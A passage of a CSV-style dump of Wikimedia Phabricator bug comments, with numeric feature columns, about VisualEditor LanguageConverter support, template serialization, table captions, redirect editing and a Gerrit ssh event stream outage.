+",,,1505493098,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,219,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+911161,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 358396 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Context item for LanguageConverter markup
+
+[[https://gerrit.wikimedia.org/r/358396]]
+",,,1502461750,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,214,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+900789,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 356739 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Display LanguageConverter markup in VisualEditor
+
+[[https://gerrit.wikimedia.org/r/356739]]
+",,,1500998488,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,212,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+884770,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis",See https://www.mediawiki.org/wiki/Parsoid/Language_conversion#Testing_LanguageConverter_with_Parsoid_and_VisualEditor for setup & test hints.,,,1498753539,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,208,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+884051,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 361921 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/extensions/VisualEditor@master] WIP: Dialog for editing LanguageConverter markup
+
+[[https://gerrit.wikimedia.org/r/361921]]
+",,,1498674768,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,208,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+874526,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 358396 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/extensions/VisualEditor@master] Node inspector for LanguageConverter markup
+
+[[https://gerrit.wikimedia.org/r/358396]]
+",,,1497285783,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,206,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+868831,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","@deskana sure:  Theres's fully-functioning Parsoid support in https://gerrit.wikimedia.org/r/140235 (T43716 phase 1).  VE currently ""alienates"" these blocks, which means they are invisible and uneditable but round-trip fine if you don't touch them.
+
+I'm currently working on some basic support for displaying/editing the language converter rules in VE (which is what this task is about).  Very rough start of a patch above; there are some representation issues to work out.  VE is a little weak on directly editing generated content.  I'll copy some discussion with @Catrope here:
+
+(05:17:05 PM) cscott-free: Roan: is there any precedent in VE for an inline BranchNode ?
+(05:17:30 PM) cscott-free: that is, a Node that behaved like an annotation: you could edit inside it, and it was laid out inline.
+(05:17:43 PM) RoanKattouw: No I don't think so
+(05:18:01 PM) RoanKattouw: There are inline nodes like images
+(05:18:14 PM) cscott-free: yes, but they are ve.ce.LeafNodes, not allowed to have any contents
+(05:18:22 PM) RoanKattouw: But no inline nodes that have children
+(05:18:33 PM) cscott-free: even BlockImage is a LeafNode, and you have to click into the inspector to edit the caption
+(05:18:38 PM) RoanKattouw: Yeah
+(05:18:52 PM) RoanKattouw: So, I would like us to have inline editing of image captions
+(05:19:01 PM) RoanKattouw: But it wouldn't be done that way
+(05:19:09 PM) RoanKattouw: What is the application you have in mind?
+(05:19:34 PM) cscott-free: I tried to use toDataElement to convince the dm that my `<span>` was actually an annotation, but that didn't work quite right with generated content.
+(05:20:24 PM) cscott-free: `-{R|foo}-` is a silly sort of `<nowiki>`, right?  But it's represented by Parsoid as `<span typeof=""mw:LanguageVariant"" data-mw-variant='{....text:""foo""}'></span>`
+(05:20:43 PM) RoanKattouw: What does that syntax mean again?
+(05:21:01 PM) cscott-free: It just means ""protect `foo` from language conversion""
+(05:21:09 PM) RoanKattouw: Aha OK
+(05:21:20 PM) cscott-free: but there are other similar forms
+(05:21:22 PM) RoanKattouw: Does it also output Foo?
+(05:21:25 PM) cscott-free: yes
+(05:21:37 PM) RoanKattouw: Then shouldn't the span be not empty?
+(05:21:49 PM) cscott-free: well... maybe.
+(05:22:16 PM) RoanKattouw: I mean, at least for display purposes you would want that, right?
+(05:22:22 PM) cscott-free: see https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec/Language_conversion_blocks#Alternative_2
+(05:22:45 PM) RoanKattouw: Also, am I allowed to have annotations inside?
+(05:22:56 PM) RoanKattouw: Can part of foo be bold, or a link?
+(05:23:01 PM) cscott-free: yes, you can have annotations inside
+(05:22:56 PM) cscott-free: the idea is that eventually we'll do the actual language conversion client-side, and so we'd fill the empty spans with the correct thing based on the currently-selected variant
+(05:23:12 PM) RoanKattouw: Oh, I see
+(05:23:30 PM) RoanKattouw: So it behaves kind of like a reference then
+(05:23:42 PM) RoanKattouw: Or a mix between that and an auto numbered link
+(05:23:43 PM) cscott-free: in other cases, there might be more than one possible output in there, and I only want to see one of them (at a time)
+(05:23:49 PM) RoanKattouw: Right
+(05:24:10 PM) RoanKattouw: So the content isn't text then, it's HTML
+(05:24:14 PM) cscott-free: yeah
+(05:24:38 PM) cscott-free: and it's got the usual ""could be block, could be inline"" thing that MWTransclusionNode deals with
+(05:24:55 PM) RoanKattouw: That's a tricky one, I'd recommend picking edsanders and David's brains too
+(05:25:12 PM) RoanKattouw: The fact that it can be block is very annoying
+(05:25:23 PM) RoanKattouw: That makes it hard to make it an annotation
+(05:26:01 PM) cscott-free: RoanKattouw: yes, and it's something I'd eventually like to fix on the PHP side.  But there are a few cases like -{zh-cn:==Foo==;zh-tw:==Bar==}-
+(05:26:15 PM) cscott-free: which should really be rewritten as == -{zh-cn:Foo;zh-tw:Bar}- ==
+(05:27:19 PM) cscott-free: usual annoying story about balance, templates, markup boundaries, etc.
+(05:26:14 PM) RoanKattouw: Right
+(05:25:13 PM) cscott-free: At any rate, I guess the easiest way to get started here is to implement it as a 'boring' LeafNode and not allow direct editing, you'll have to use an inspector
+(05:27:15 PM) RoanKattouw: If it's only annotated text, then you could make it an annotation that would have to do some magic to generate its own content and feed the right content back into data-mw
+(05:29:03 PM) cscott-free: yeah, with an annotation i just hit a roadblock in ve.dm.Converter:getDomSubtreeFromData which doesn't give me a way to return the annotation *and* the data contained as an array from toDataElement, the way that nodes can
+(05:29:30 PM) cscott-free: so I might patch that and handle the case where toDataElement returns an array of length > 1 from toDataElement
+(05:29:45 PM) cscott-free: but figured I'd check to make sure I wasn't missing something obvious first
+(05:30:01 PM) RoanKattouw: Yeah you'll have to invent something new here
+(05:30:16 PM) RoanKattouw: In both directions
+(05:30:31 PM) RoanKattouw: Or add pre- and post-processing steps
+(05:30:15 PM) cscott-free: I might also just give in an generate explicit <span typeof=""mw:LanguageVariant/raw"">foo</span> for some of these cases
+(05:30:24 PM) cscott-free: which would be a more direct analog of <nowiki>
+(05:30:43 PM) RoanKattouw: Also look at how nowiki works on the way out
+(05:31:07 PM) RoanKattouw: It's not really the same, it drops the annotation, but it might give you ideas
+(05:31:04 PM) cscott-free: If you did -{foo<div>bar}- then I *think* the usual HTML5 treebuilding would split the <span> over the <div> and you'd effectively get -{foo}-<div>-{bar}-
+(05:31:32 PM) cscott-free: that works for the ""raw output"" case, but things get really hairy if there are multiple alternatives.
+(05:31:38 PM) RoanKattouw: Well if the resulting HTML is too weird, you can just alienate it
+(05:32:25 PM) RoanKattouw: Which might even happen automatically because of special treatment of the mw: prefix and protections against misnesting
+(05:33:13 PM) cscott-free: yeah, right now VE is alienating everything which is fine but because the <span>s are empty the result is that the content goes missing
+(05:33:43 PM) cscott-free: again, maybe an indicator that this whole ""empty span to be filled with converted output"" idea isn't all that hot.  we'll see.
+(05:34:20 PM) cscott-free: anyway, I think using a Node and just dealing with non-direct editing is the way to go for the crappy-first-draft.
+(05:34:32 PM) cscott-free: although i'm curious how you planned to allow direct figure caption editing
+(05:41:02 PM) RoanKattouw: cscott: Basically, make captions work the way references work, with their contents being in an internalList item or subdocument, then create a surface on that subdoc and embed it in the image frame
+(05:41:22 PM) RoanKattouw: The subdocuments thing is a refactor I started in 2014 and never finished
+(05:42:25 PM) RoanKattouw: You could also do it without changing the DM representation if you are able to make a surface for a subset of the document
+(05:42:54 PM) RoanKattouw: But the change in representation would allow inline images to retain captions
+(05:44:55 PM) cscott-free: Yeah, I just would want to be able to cursor seamlessly ""into"" the embedded subdoc.",,,1496353510,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,204,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+868806,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 356739 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/extensions/VisualEditor@master] WIP: Specialized inspector for LanguageConverter markup
+
+[[https://gerrit.wikimedia.org/r/356739]]
+",,,1496351770,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,204,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+868585,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis",@cscott Any updates for us on this since it's reopened? :-),,,1496332721,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,204,,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0
+49394,VisualEditor: MWTemplateNode should serialize original HTML if unchanged,"If we get an MWTemplateNode and the user doesn't change it, then in the data->DOM conversion we should serialize it back out the way it came in, including all the other nodes (the template contents) that we normally discard.
+
+Discarding these nodes when the user did change the template (i.e. the attributes changed) is fine and encouraged, but if we also do it when nothing changed, Parsoid's DOM diff algorithm will notice that we changed something in the DOM, causing selective serialization not to skip the template while it should.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1366341300,1366733313.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ctzq3dsxntnt7zcuqb4y,task_description,resolved,True,c1,1,False,False,True,-11,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+210712,VisualEditor: MWTemplateNode should serialize original HTML if unchanged,Related URL: https://gerrit.wikimedia.org/r/60110 (Gerrit Change I2bbb5d2d6a90c4eb87fa129671112c92a9b931e7),,,1366474230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctzq3dsxntnt7zcuqb4y,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49349,VisualEditor: Caption tags are stripped from tables when VE converts data model to DOM,"1. Go to: http://ve-change-marking.instance-proxy.wmflabs.org/wiki/Test2
+2. Open page in VisualEditor
+3. Open browser console.
+4. Run ve.dm.converter.getDomFromData( ve.instances[0].documentModel.store, ve.instances[0].documentModel.data.data ).body.outerHTML
+5. You get the following output:
+--------------
+<body><table data-parsoid=""{&quot;tsr&quot;:[0,3],&quot;dsr&quot;:[0,49,3,2]}"">
+This is a caption
+<tbody data-parsoid=""{&quot;dsr&quot;:[24,47,0,0]}""><tr data-parsoid=""{&quot;tsr&quot;:[24,26],&quot;startTagSrc&quot;:&quot;|-&quot;,&quot;autoInsertedEnd&quot;:true,&quot;dsr&quot;:[24,46,2,0]}"">
+<td data-parsoid=""{&quot;tsr&quot;:[27,28],&quot;autoInsertedEnd&quot;:true,&quot;dsr&quot;:[27,46,1,0]}"">Table cell content</td></tr>
+</tbody></table></body>
+----------------
+
+Notice the missing <caption> .. </caption> tags.
+So, when Parsoid gets this, the caption is fostered out and shows up as a diff.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1366256040,1366298405.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-bflgm4moy2wypdjtiaao,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+208171,VisualEditor: Caption tags are stripped from tables when VE converts data model to DOM,...which has already been merged.,,,1366298405,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bflgm4moy2wypdjtiaao,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+208167,VisualEditor: Caption tags are stripped from tables when VE converts data model to DOM,https://gerrit.wikimedia.org/r/59780,,,1366298361,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bflgm4moy2wypdjtiaao,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49328,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"See bug 45808 for the corresponding Parsoid bug.
+
+Currently editing a redirected page (say ""OLPC"") causes the following Bad Things to happen.
+
+a) the edited page content is saved back to ""OLPC"", overwriting the original #REDIRECT
+
+b) the page content is from ""One Laptop Per Child"", but with an added {{Redirect:OLPC}} template at the top; this extra template gets saved back with the rest of the edits.
+
+In bug 45808, Parsoid will return a special <meta> or <link> tag in the body for redirected pages.  This bug is for the corresponding VE support to recognize that tag and provide a user-friendly interface for editing redirects.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47329",Medium,50.0,1366223100,1392349729.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,,False,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_description,resolved,True,c1,1,True,False,False,-11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+206972,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"(In reply to Gerrit Notification Bot from comment #10)
+
+Neat! Is there documentation about this panel and/or a place to test it?",,,1392359125,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+206968,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Change 95213 merged by jenkins-bot:
+Let users set #REDIRECT and __STATICREDIRECT__ status
+
+https://gerrit.wikimedia.org/r/95213",,,1392349578,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+206964,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Change 95213 had a related patch set uploaded by Jforrester:
+[WIP] Let users set #REDIRECT
+
+https://gerrit.wikimedia.org/r/95213",,,1384373838,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+206961,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Change 95103 had a related patch set uploaded by Jforrester:
+[WIP] Let users set #REDIRECT, __NOTOC__, & __FORCETOC__
+
+https://gerrit.wikimedia.org/r/95103",,,1384313396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+206957,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,It is also possible to fail to convert a non-redirect page into a redirect (e.g following a merge).,,,1372791338,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+206951,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"This is likely obvious to everyone, but:  We need a way to create redirects in VisualEditor from redlinks.
+
+VE is currently (02 July 2013) turned off for editing redirect pages at en.wikipedia.org.  However, it's still possible to create these pages using VE, which end up nowiki-ed and broken.",,,1372755903,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,0,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+206943,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,Assigning to Jiabao Wu as discussed on bug 48489 comment 4.,,,1368806633,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+206937,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Redirect editing disabled by https://gerrit.wikimedia.org/r/64275, will need to be re-enabled when this bug is addressed.",,,1368789997,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+206930,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Some quick advice on this one:
+
+* There'll need to be code in DM and UI; the code in Parsoid which it will interact with has just been merged into their master.
+* I'd suggest looking at how {{DEFAULTSORT}} works as a starting point - see https://gerrit.wikimedia.org/r/#/c/61374/ for the DM side.
+* On the UI side, you'd want to create a new panel in the meta-data dialog (""Page settings"" is probably the best name, though that's also the display name of the dialog, but we can fiddle with that later) into which you'd put a checkbox with an associated text box for a page name, with auto-suggest (like the link inspector has).",,,1368772067,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,1,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+206923,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,There's now a spec for redirects in the DOM: http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Redirects,,,1366225893,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+206917,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"This is probably a post-July task; have split off a ""don't fail horribly"" bug as bug 47329, linked.",,,1366224646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+48917,Zuul: Gerrit's ssh event stream unavailable,"Since at 2013-04-05 04:29:46 UTC, Zuul no more receives events from Gerrit. It uses a CLI command such as:
+
+    ssh -p 29418  jenkins-bot@manganese.wikimedia.org gerrit stream-events
+
+I did stream-events using both the jenkins-bot user and my own account 'hashar'. While submitting a new patchset or posting a comment: nothing is reported.
+
+The end effect is that no jobs are triggered in Jenkins.
+
+--------------------------
+
+Summary (13/12/2017)
+
+The sshd daemon (Mina) would lost connection on one way connections and hitting some kind of timeout.  That affected Zuul which idles with a `gerrit stream-events`.
+
+Gerrit sshd.idleTimeout got set to 10 days as a workaround https://gerrit.wikimedia.org/r/#/c/58126/
+
+Gerrit patch:
+
+https://gerrit-review.googlesource.com/c/gerrit/+/44472 ([[ https://gerrit.googlesource.com/gerrit/+/79b91bfe746121a81a785bdd3b24df2096410c55 | 79b91bfe ]]) is the Gerrit patch.
+",Medium,50.0,1365152280,1370873901.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_description,resolved,True,c1,1,True,False,True,-13,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+207691,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #24)
+> We previously rolled back to a gerrit that exposed the problem again :-(
+> 
+
